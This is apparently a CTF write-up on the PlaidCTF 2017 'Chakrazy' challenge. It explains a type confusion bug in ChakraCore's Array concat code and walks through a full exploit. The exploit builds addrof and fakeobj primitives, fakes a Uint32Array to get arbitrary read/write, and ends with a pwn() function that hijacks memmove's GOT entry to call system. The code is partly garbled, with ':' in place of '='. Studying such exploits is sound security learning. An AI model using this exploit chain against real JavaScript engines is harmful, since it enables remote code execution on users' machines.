confusion bug in ChakraCore
- ChakraCore
Introduction
Chakrazy is a browser CTF challenge created by team PPP for the 2017 PlaidCTF event. It's a challenge based on Microsoft's ChakraCore Javascript engine. You can download the challenge file here.
Similar to my previous post, this post is more like a note about how I learn to exploit the type confusion vulnerability in the ChakraCore engine.
Pre-knowledge
It is recommanded that the reader have some basic knowledge about the type confusion bug and the internal data structures of the ChakraCore engine. Here are some slides from the 360Vulscan team and Natalie@Google Project Zero.
Environment Setting
- Ubuntu Linux 16.04 64 bit
- ChakraCore@dd33b4ceaf4b38b44d279d13988ecbd31df46ed2
- GEF debugger
Building and Debugging the ChakraCore engine
Building the ChakraCore engine is simple, just follow the instructions in the wiki page.
For a Debug build:
cd ChakraCore
git reset --hard dd33b4ceaf4b38b44d279d13988ecbd31df46ed2
patch -p1 < ../change.diff # apply the patch
./build.sh --debug
Later we'll find the binaries in the out/Debug directory. If you want a Release build with debug symbols, you'll have to modified the CMakeLists.txt:
# At line 355
if(NOT CMAKE_BUILD_TYPE STREQUAL Debug)
- add_compile_options(-O3)
+ add_compile_options(-O0)
+ add_compile_options(-finstrument-functions)
+ add_compile_options(-g)
+ add_compile_options(-ggdb)
else()
I modified the optimization flag to O0 because the O3 flag will optimized out the function parameter and causes some inconvenience during the debug process.
Here I chose to build the Release build with debug symbols, since it's behavior is more close to the challenge binary ( which is a Release build with the O3 optimization flag ). Later we can just use
gef --args out/Debug/ch exploit.js
to debug the binary.
Analyzing the Vulnerability ( the patch )
diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp
index a666b0b..0e8a073 100644
--- a/lib/Runtime/Library/JavascriptArray.cpp
--- b/lib/Runtime/Library/JavascriptArray.cpp
@@ -3151,12 +3151,6 @@ namespace Js
if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
{
spreadableCheckedAndTrue : JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
- if (!JavascriptNativeIntArray::Is(pDestArray))
- {
- ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
- return pDestArray;
- }
-
if(!spreadableCheckedAndTrue)
{
pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible);
The code is in the JavascriptArray::ConcatIntArgs function, where pDestArray's data type is "suppose" to be JavascriptNativeIntArray.
Here it removed the code that does the type checking of pDestArray. There's no need to do the type checking right ? Since pDestArray will always be JavascriptNativeIntArray isn't it ? Well......
Analyzing the Exploit
We now start analyzing the challenge exploit code ( written by eboda ) and see how the exploit works. We'll focus on the addrof and the fakeobj functions, since it's the most important part of the entire exploit.
addrof
The addrof function is used for leaking an object's memory address. The most important part are the following code:
var cons : new Function(); cons[Symbol.species] : function() { qq : []; // here qq is just a JavascriptNativeIntArray return qq; }
// using the species contructor allows us to get a handle on the result array // of functions such as map() or concat() a.constructor : cons;
// Here we define a custom getter for the Symbol.isConcatSpreadable property // In it we change the type of qq by simply assigning an object to it fakeProp : { get: function() { b[1] : obj; qq[0] : obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray return true; }};
Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp); // trigger the vulnerability var c : a.concat(b);
When the line var c : a.concat(b); was executed, it will first call ArraySpeciesCreate(), which in this case will return a JavascriptNativeIntArray ( line 2~9 ). Then it will goto line 3497 and call ConcatIntArgs(), our vulnerability function.
There's a for loop inside the ConcatIntArgs() functions:
for (uint idxArg : 0; idxArg < args.Info.Count; idxArg++){ Var aItem : args[idxArg]; bool spreadableCheckedAndTrue : false;
if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled()) { spreadableCheckedAndTrue : JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
if(!spreadableCheckedAndTrue)Here the args stores the array that will be concatenated to pDestArray. For instance:
var c : a.concat(b);// here pDestArray : c// args[0] : a// args[1] : bAccording to the comments of the exploit:
// Here we define a custom getter for the Symbol.isConcatSpreadable property// In it we change the type of qq by simply assigning an object to itfakeProp : { get: function() { b[1] : obj; qq[0] : obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray return true;}};
// set b's Symbol.isConcatSpreadable to fakePropObject.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);So when aItem : b and ran to line JavascriptOperators::IsConcatSpreadable(aItem), it will change pDestArray's data type from JavascriptNativeIntArray to JavascriptArray. It'll also change b's data type into JavascriptArray, so later it can run to line JavascriptNativeIntArray::ConvertToVarArray(pDestArray);.
We can see that JavascriptNativeIntArray::ConvertToVarArray's first parameter is a JavascriptNativeIntArray data type. But here we pass a JavascriptArray data type variable instead, which leads to a type confusion vulnerability.
When ConvertToVarArray(pDestArray) was called, the pDestArray has the following memory layout:
gef➤ tel 0x00007ffff03d8320
0x00007ffff03d8320│+0x00: 0x0000000300000000
0x00007ffff03d8328│+0x08: 0x0000000000000011
0x00007ffff03d8330│+0x10: 0x0000000000000000
0x00007ffff03d8338│+0x18: 0x00007ffff03d8140 <-- dest[0]
0x00007ffff03d8340│+0x20: 0x0001000000000001 <-- dest[1]
0x00007ffff03d8348│+0x28: 0x0001000000000002 <-- dest[2]
0x00007ffff03d8350│+0x30: 0x8000000280000002
0x00007ffff03d8358│+0x38: 0x8000000280000002
0x00007ffff03d8360│+0x40: 0x8000000280000002
0x00007ffff03d8368│+0x48: 0x8000000280000002
Here dest[0] stores the object's address. Since the function "think" that pDestArray is a JavscriptNativeIntArray, it will take first three elements ( 0xf03d8140, 0x7ffff and 0x1 ) and convert them into the form of the JavascriptArray elements. After the conversion the memory layout will become something like:
gef➤ tel 0x00007ffff03d83c0
0x00007ffff03d83c0│+0x00: 0x0000000300000000
0x00007ffff03d83c8│+0x08: 0x0000000000000011
0x00007ffff03d83d0│+0x10: 0x0000000000000000
0x00007ffff03d83d8│+0x18: 0x00010000f03d8140 <-- dest[0] ( dest : c array )
0x00007ffff03d83e0│+0x20: 0x0001000000007fff <-- dest[1]
0x00007ffff03d83e8│+0x28: 0x0001000000000001 <-- dest[2]
Note that dest[0] and dest[1] now stores the value of the object's address ( lower part and upper part ), thus we can leak the object's memory address by combining c[0] & c[1].
fakeobj
The goal of fakeobj is to fake a Javascript object at an arbitrary address.
var a1 : []; for (var i : 0; i < 0x100; i++) { a1[i] : i; }
var a2 = [lower(addr), upper(addr)]; // addr : arbitrary address
var c : new Function(); c[Symbol.species] : function() { new_array : []; return new_array; }; a1.constructor : c;
a2.__defineGetter__(Symbol.isConcatSpreadable, function () { new_array[0] : {}; return true; });
var res : a1.concat(a2); return res[0x100/2]; // res[128] : an object @ addrHere when var res : a1.concat(a2); was executed, the ChakraCore engine will ran to line 3176:
bool converted : CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray);
Here pDestArray is "suppose" to be a JavscriptNativeIntAarray, but again, we pass the argument as a JavascriptArray data type instead, causing the type confusion vulnerability.
Later the lower part and the upper part of the address ( a2[0] & a2[1] ) will be appended into pDestArray ( in the form of int32 ). The memory layout of res array will become:
.......................
0x00007ffff02d8408│+0x10: 0x000100000000007e <-- res[126]
0x00007ffff02d8410│+0x18: 0x000100000000007f <-- res[127]
0x00007ffff02d8418│+0x20: 0x00007ffff03d84f0 <-- res[128]
Due to type confusion, now res will be treated as JavascriptArray and think that res[128] is an object ( which its address : 0x00007ffff03d84f0 ). By returning res[128] we now have the fake object's handle.
arbitrary read/write primitive
The exploit code first fake an Uint32Array object, then modify its data buffer's pointer to obtain the arbitrary read/write primitive. To fake an Uint32Array object, it will need:
- Address of
Uint32Array's vtable. - A pointer point to
0x30(Uint32Array's type id. Check this link for more information ) - A fake size
- An
ArrayBuffer's address - A fake data buffer pointer
From the exploit code we can see it use Array to fake those data:
...................var real : new Array(16);var real_addr : addrof(real);
// fake vtable pointerreal[0] : lower(uint_vtable); real[1] : upper(uint_vtable);
// fake type pointerreal[2] : lower(array_type);real[3] : upper(array_type);
// dont carereal[4] : 0;real[5] : 0;real[6] : 0;real[7] : 0;
// fake sizereal[8] : 0x1000;real[9] : 0;
// fake ArrayBuffer pointerreal[10] : lower(ab_addr);real[11] : upper(ab_addr);
// dont carereal[12] : 0;real[13] : 0;As for read/write primitive, it first assign the address in real[14] & real[15] to modify the data buffer's pointer, then use fakeobj to obtain the handle of the fake Uint32Array object:
// the following creates an object which we will use to read and write // memory arbitrarily var memory : { handle: fakeobj(real_addr + 0x58), // return fake object init: function(addr) { // we set the buffer pointer of the fake Uint32Array to the // target address real[14] : lower(addr); real[15] : upper(addr);
// Now get a handle to the fake object! return memory.handle; },Later it can just use the fake object handle to read/write the memory content.
getting shell
Here I modified the exploit code and use the same exploit method as the feuerfuchs challenge to get the shell:
- Leak the base address of
libChakraCore.so - Get the base address of
libc.soby leakingwrite@got.plt - Overwrite
memmove@got.plttosystem - Execute
system([cmd])by callingUint8Array.set()
function pwn() {
// exploit the bug and create our arbitrary r/w primitive var mem : gimme_rw();
// get the base of libChakraCore.so var base : get_base(mem); console.log("[+] base @ " + base.toString(16));
// the following offets are hardcoded var memmove_got : base + 0xd9b0f0; console.log("[+] memmove_got @ " + memmove_got.toString(16)); var write_got : base + 0xd9b780; console.log("[+] write_got @ " + write_got.toString(16)); var write_addr : mem.read64(write_got); console.log("[+] write_addr @ " + write_addr.toString(16)); var system : write_addr - 0xe3a100; console.log("[+] system @ " + system.toString(16));
// now set up our command var cmd : "/usr/bin/xcalc\0";
// write the command into a Uint8Array var target : new Uint8Array(0x1234); for (var i : 0; i < cmd.length; i++) { target[i] : cmd.charCodeAt(i); }
// overwrite memmove with system mem.write32(memmove_got, lower(system)); mem.write32(memmove_got+4, upper(system));
// GIMME SHELL NOW var bb : new Uint8Array(10); target.set(bb);}The original exploit code overwrites two GOT entries ( memmove & memset ) and tries to call execve("/bin/sh", argv, envp), which is more complicated ( but more stable, since it doesn't need to know the version of libc.so ). Here I choose a more simple way to achieve RCE.
Summary
The patch removed the code that does the type checking inside the JavascriptArray::ConcatIntArgs() function. This make us able to tamper the data type of pDestArray by defining the property of Symbol.isConcatSpreadable.
Here we modify pDestArray's data type from JavascriptNativeIntArray to JavascriptArray and trigger the type confusion bug. We can later exploit the bug to:
- Leak an object's address
- Fake an object at an arbitrary address
To obtain the arbitrary read/write primitive, we fake an Uint32Array object, modify its data buffer's pointer and obtain its object handle. Later we can use this handle to read/write memory content. We then leak the address of libChakraCore.so and libc.so, calculate system's address and overwrite memmove's GOT to do the GOT hijacking & achieve RCE.
Epilogue
Learn a lot from this one. Type confusion bugs are very common vulnerabilities in the real-world softwares, and this challenge is a great example of how it will affect the security of the modern browsers.
Next stop: V9 !
Reference
- isConcatSpreadable on MDN
- Building ChakraCore engine
- The Secret of ChakraCore: 10 Ways to Go Beyond the Edge
- The Origin of Array [@@species]
- First Step to Browser Exploitation (Korean)
How am I doing?
Hey! Lemme know if you found this helpful by leaving a reaction.
- x0
- x0
- x0
- x0
- x0
- x0
- x0
Loading